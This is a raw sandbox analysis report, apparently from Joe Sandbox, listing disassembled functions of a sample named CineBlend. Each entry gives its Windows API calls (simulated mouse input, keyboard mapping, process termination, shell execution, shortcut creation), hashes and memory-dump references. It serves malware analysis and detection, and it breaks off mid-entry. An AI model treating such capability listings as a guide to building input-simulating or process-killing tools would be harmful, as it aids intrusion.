                                  • Instruction ID: a3e6f8d5f566379c7e5b2465a608c47fc988f80ffc936f6100cbcb567e87668b
                                  • Opcode Fuzzy Hash: d98c15d4c090936661811a28c31191f2d40bb2a22a5e3a6f2f2a55f009b91fb2
                                  • Instruction Fuzzy Hash: 47416134602244AFDB25DF24D889FA67BF1FB49315F1940FEE5195B2A2CB31A845CB60
                                  Function 00BB2D37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetForegroundWindow.USER32(?,?,00000000), ref: 00BB2D45
                                    • Part of subcall function 00BAEF33: GetWindowRect.USER32(?,?), ref: 00BAEF4B
                                  • GetDesktopWindow.USER32 ref: 00BB2D6F
                                  • GetWindowRect.USER32(00000000), ref: 00BB2D76
                                  • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00BB2DB2
                                  • GetCursorPos.USER32(?), ref: 00BB2DDE
                                  • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00BB2E3C
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Rectmouse_event$CursorDesktopForeground
                                  • String ID:
                                  • API String ID: 2387181109-0
                                  • Opcode ID: a72394858529c87c410a9f4978e1d38d807b3819a06cc360abb07a602096a6a5
                                  • Instruction ID: 0ecac24b95611d7501b48e5d99ddb2278732ed0c608ecb6970641e2074611fff
                                  • Opcode Fuzzy Hash: a72394858529c87c410a9f4978e1d38d807b3819a06cc360abb07a602096a6a5
                                  • Instruction Fuzzy Hash: 0331D072505316AFC720DF14D845FABB7E9FB88354F00092AF89997181DA70E909CB92
                                  Function 00B955E1 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • IsWindowVisible.USER32(?), ref: 00B955F9
                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B95616
                                  • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B9564E
                                  • _wcslen.LIBCMT ref: 00B9566C
                                  • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B95674
                                  • _wcsstr.LIBVCRUNTIME ref: 00B9567E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
                                  • String ID:
                                  • API String ID: 72514467-0
                                  • Opcode ID: adc9ff9a15aaf9d46a7f58edd7b673f9acab37e7ee9ea6cb50433e842ddf7c49
                                  • Instruction ID: da63c56a4e0bb061ee62bb04b5c31663334718f7ef6a0f01afc300803b3a16de
                                  • Opcode Fuzzy Hash: adc9ff9a15aaf9d46a7f58edd7b673f9acab37e7ee9ea6cb50433e842ddf7c49
                                  • Instruction Fuzzy Hash: 6621D4322446047BEF265B259C49F7B7BE8DF49750F1440B9F805DA091EE71DC419760
                                  Function 00BA6263 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B35851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B355D1,?,?,00B74B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00B35871
                                  • _wcslen.LIBCMT ref: 00BA62C0
                                  • CoInitialize.OLE32(00000000), ref: 00BA63DA
                                  • CoCreateInstance.OLE32(00BD0CC4,00000000,00000001,00BD0B34,?), ref: 00BA63F3
                                  • CoUninitialize.OLE32 ref: 00BA6411
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                  • String ID: .lnk
                                  • API String ID: 3172280962-24824748
                                  • Opcode ID: 6adfb00231563e96948d1e91cc3886974ce66d83ebffb44c8ff57e328f8b5943
                                  • Instruction ID: e962f8e7e55488fedd982c7072f9174110bdbfcee55b934e4ed5cc54310044a5
                                  • Opcode Fuzzy Hash: 6adfb00231563e96948d1e91cc3886974ce66d83ebffb44c8ff57e328f8b5943
                                  • Instruction Fuzzy Hash: 9DD126B5A083119FCB14DF18C484A2AB7F5EF8A714F18899DF8859B361DB31EC45CB92
                                  Function 00BC86FC Relevance: 9.1, APIs: 6, Instructions: 82COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC8740
                                  • SetWindowLongW.USER32(00000000,000000F0,?), ref: 00BC8765
                                  • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00BC877D
                                  • GetSystemMetrics.USER32(00000004), ref: 00BC87A6
                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00BAC1F2,00000000), ref: 00BC87C6
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • GetSystemMetrics.USER32(00000004), ref: 00BC87B1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Long$MetricsSystem
                                  • String ID:
                                  • API String ID: 2294984445-0
                                  • Opcode ID: 8cffa8e9432830e7891d87e434d8a3323b9e2a2eb22afb92c7eb6b07d33a8121
                                  • Instruction ID: 05f04d7543ebafbac50083fde523b1afd1c6f67e63989239b982e86a57154ac3
                                  • Opcode Fuzzy Hash: 8cffa8e9432830e7891d87e434d8a3323b9e2a2eb22afb92c7eb6b07d33a8121
                                  • Instruction Fuzzy Hash: BE214A75611241AFCB149F38CC48F6A3BE6EB89365F25467EA926C71E0EE308C50CB10
                                  Function 00B536F2 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(?,?,00B536E9,00B53355), ref: 00B53700
                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B5370E
                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B53727
                                  • SetLastError.KERNEL32(00000000,?,00B536E9,00B53355), ref: 00B53779
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLastValue___vcrt_
                                  • String ID:
                                  • API String ID: 3852720340-0
                                  • Opcode ID: bf58a819a22758cad2c788dcba4f241baa1564cee2a20b80edb7e6f173771184
                                  • Instruction ID: f5b904240d5268d59c439f9c0e62a004fc81134c958e60606f1e0334583d485a
                                  • Opcode Fuzzy Hash: bf58a819a22758cad2c788dcba4f241baa1564cee2a20b80edb7e6f173771184
                                  • Instruction Fuzzy Hash: 19012DB6A0D7112EA62517746CD5F7A26D5D70DFF3B2002F9F810432F0EF514D0AA144
                                  Function 00B630E7 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(?,?,00B62908,00BF9B48,0000000C,00B53268,00000001,?,?), ref: 00B630EB
                                  • _free.LIBCMT ref: 00B6311E
                                  • _free.LIBCMT ref: 00B63146
                                  • SetLastError.KERNEL32(00000000), ref: 00B63153
                                  • SetLastError.KERNEL32(00000000), ref: 00B6315F
                                  • _abort.LIBCMT ref: 00B63165
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_free$_abort
                                  • String ID:
                                  • API String ID: 3160817290-0
                                  • Opcode ID: 07a98583e488931d6b654f072526d8e514b9bb371444fc4c230bde2e34220772
                                  • Instruction ID: e39cde1a11cfbaa68e925897484e80a33fe02a30981bad8a14b304d1bb949fbd
                                  • Opcode Fuzzy Hash: 07a98583e488931d6b654f072526d8e514b9bb371444fc4c230bde2e34220772
                                  • Instruction Fuzzy Hash: 1AF0C876504A0126D2122735AC0AE6E16EADFD7F70B2504A4F924F32D1EF2C8B029161
                                  Function 00BC9480 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B31F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00B31F87
                                    • Part of subcall function 00B31F2D: SelectObject.GDI32(?,00000000), ref: 00B31F96
                                    • Part of subcall function 00B31F2D: BeginPath.GDI32(?), ref: 00B31FAD
                                    • Part of subcall function 00B31F2D: SelectObject.GDI32(?,00000000), ref: 00B31FD6
                                  • MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00BC94AA
                                  • LineTo.GDI32(?,00000003,00000000), ref: 00BC94BE
                                  • MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00BC94CC
                                  • LineTo.GDI32(?,00000000,00000003), ref: 00BC94DC
                                  • EndPath.GDI32(?), ref: 00BC94EC
                                  • StrokePath.GDI32(?), ref: 00BC94FC
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                  • String ID:
                                  • API String ID: 43455801-0
                                  • Opcode ID: d6d84fdde3974c51f00c00cca3bcb5a4e0ecd1b96faf82eca792e85e2e68e49f
                                  • Instruction ID: 05f18677f826abfff2c2ed333aa3ff3f2f0ec69fcbe3927b42678ea19e971996
                                  • Opcode Fuzzy Hash: d6d84fdde3974c51f00c00cca3bcb5a4e0ecd1b96faf82eca792e85e2e68e49f
                                  • Instruction Fuzzy Hash: 84111B7600010DBFEF129F94DC88F9A7FADEF08360F048066BA595A161CB719D55DBA0
                                  Function 00B95B61 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDC.USER32(00000000), ref: 00B95B7C
                                  • GetDeviceCaps.GDI32(00000000,00000058), ref: 00B95B8D
                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B95B94
                                  • ReleaseDC.USER32(00000000,00000000), ref: 00B95B9C
                                  • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B95BB3
                                  • MulDiv.KERNEL32(000009EC,00000001,?), ref: 00B95BC5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CapsDevice$Release
                                  • String ID:
                                  • API String ID: 1035833867-0
                                  • Opcode ID: f72a2f91066d400bfb3207e0b7732f405ef5724c5bdbc5497e811a2c92bf3e78
                                  • Instruction ID: 1e1cef04d279930d79d9833bc7244e1b291b6b89efcb414ec6d22b38e9e7fac3
                                  • Opcode Fuzzy Hash: f72a2f91066d400bfb3207e0b7732f405ef5724c5bdbc5497e811a2c92bf3e78
                                  • Instruction Fuzzy Hash: 83014475A40718BBEF119FA99C49F4EBFB8EB49751F0440B5FA05A7280DA709C01CBA0
                                  Function 00B3327E Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B332AF
                                  • MapVirtualKeyW.USER32(00000010,00000000), ref: 00B332B7
                                  • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B332C2
                                  • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B332CD
                                  • MapVirtualKeyW.USER32(00000011,00000000), ref: 00B332D5
                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B332DD
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Virtual
                                  • String ID:
                                  • API String ID: 4278518827-0
                                  • Opcode ID: c65a450a0076f9d3bca972801434618a328e572b53fceda12b9dede5d6110b60
                                  • Instruction ID: 09b15ea987826aa983a4fc81ca872ea54a4dbfabb4bc7bf97c54b5d7fe86a131
                                  • Opcode Fuzzy Hash: c65a450a0076f9d3bca972801434618a328e572b53fceda12b9dede5d6110b60
                                  • Instruction Fuzzy Hash: 270167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5
                                  Function 00B9F437 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B9F447
                                  • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B9F45D
                                  • GetWindowThreadProcessId.USER32(?,?), ref: 00B9F46C
                                  • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B9F47B
                                  • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B9F485
                                  • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B9F48C
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                  • String ID:
                                  • API String ID: 839392675-0
                                  • Opcode ID: a334187181a5d620814d12ad54783c48b37efc74ffef0182eac0b0b7e480e161
                                  • Instruction ID: 07d1bc9c6ada06dc7b332d376ef202b5a9619e067216bee5e08e129eb7023d54
                                  • Opcode Fuzzy Hash: a334187181a5d620814d12ad54783c48b37efc74ffef0182eac0b0b7e480e161
                                  • Instruction Fuzzy Hash: 61F0B436201158BBE72057529C0EEEF7F7CEFCAB11F000078F601E2190DBA01A02C6B5
                                  Function 00B734D6 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetClientRect.USER32(?), ref: 00B734EF
                                  • SendMessageW.USER32(?,00001328,00000000,?), ref: 00B73506
                                  • GetWindowDC.USER32(?), ref: 00B73512
                                  • GetPixel.GDI32(00000000,?,?), ref: 00B73521
                                  • ReleaseDC.USER32(?,00000000), ref: 00B73533
                                  • GetSysColor.USER32(00000005), ref: 00B7354D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClientColorMessagePixelRectReleaseSendWindow
                                  • String ID:
                                  • API String ID: 272304278-0
                                  • Opcode ID: babafbcbc619c118d4a8c012bb16e0714d630da3b62b04ccb867881a279a135d
                                  • Instruction ID: 4c093fd7baa8f1ab3273536c59a4823f74a4159f52a9b8f5f44912d7b4e1b06b
                                  • Opcode Fuzzy Hash: babafbcbc619c118d4a8c012bb16e0714d630da3b62b04ccb867881a279a135d
                                  • Instruction Fuzzy Hash: B2011235500205EFDB505BA4DC09FAABBF5FB18721F5141B0FA2AA21A0CF311E52EB10
                                  Function 00B921C1 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                  Download Yara Rule
                                  APIs
                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B921CC
                                  • UnloadUserProfile.USERENV(?,?), ref: 00B921D8
                                  • CloseHandle.KERNEL32(?), ref: 00B921E1
                                  • CloseHandle.KERNEL32(?), ref: 00B921E9
                                  • GetProcessHeap.KERNEL32(00000000,?), ref: 00B921F2
                                  • HeapFree.KERNEL32(00000000), ref: 00B921F9
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                  • String ID:
                                  • API String ID: 146765662-0
                                  • Opcode ID: 6276464f32ccd43aaeb4b1b4b6f474fb5f96a25f799ddfbb5a5fbc4316cc9b14
                                  • Instruction ID: 47af7e200a17adcdf7d357e7a5c3c7b8ececcdb5f1df9001eb069d4cd905a041
                                  • Opcode Fuzzy Hash: 6276464f32ccd43aaeb4b1b4b6f474fb5f96a25f799ddfbb5a5fbc4316cc9b14
                                  • Instruction Fuzzy Hash: FDE0C2BA004505BBDB011BA2EC0CD0ABF29FB8D322B144235F22593070CF329422DB50
                                  Function 00B9CE7B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B341EA: _wcslen.LIBCMT ref: 00B341EF
                                  • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B9CF99
                                  • _wcslen.LIBCMT ref: 00B9CFE0
                                  • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B9D047
                                  • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B9D075
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ItemMenu$Info_wcslen$Default
                                  • String ID: 0
                                  • API String ID: 1227352736-4108050209
                                  • Opcode ID: f11c0159c4ed4c744d4e099a2f8c59df4e9220ec3d7f840b7c9f28a823a5c290
                                  • Instruction ID: 3c187056347e9d7cd2ec72ff3401ba03e82217e9a1c79342d608d756be077b4c
                                  • Opcode Fuzzy Hash: f11c0159c4ed4c744d4e099a2f8c59df4e9220ec3d7f840b7c9f28a823a5c290
                                  • Instruction Fuzzy Hash: AC51ED716043009BDF20AF29C899B6BBBE8EF89314F040ABDF995E3191DB70C909C752
                                  Function 00BBB7C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                                  Download Yara Rule
                                  APIs
                                  • ShellExecuteExW.SHELL32(0000003C), ref: 00BBB903
                                    • Part of subcall function 00B341EA: _wcslen.LIBCMT ref: 00B341EF
                                  • GetProcessId.KERNEL32(00000000), ref: 00BBB998
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBB9C7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseExecuteHandleProcessShell_wcslen
                                  • String ID: <$@
                                  • API String ID: 146682121-1426351568
                                  • Opcode ID: 890a9acf67d1e9258003f81d4981eefe2cc63c64162f13e976e2407fada6f5e4
                                  • Instruction ID: 664122503a7e0533edeabc509496fdac8d2d0da38e8cefb5a7b1f5428adb8b85
                                  • Opcode Fuzzy Hash: 890a9acf67d1e9258003f81d4981eefe2cc63c64162f13e976e2407fada6f5e4
                                  • Instruction Fuzzy Hash: 64717975A00615DFCB10EF54C495AAEBBF4FF08300F148499E956AB392CBB4ED45CB90
                                  Function 00B97B05 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B97B6D
                                  • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B97BA3
                                  • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B97BB4
                                  • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B97C36
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
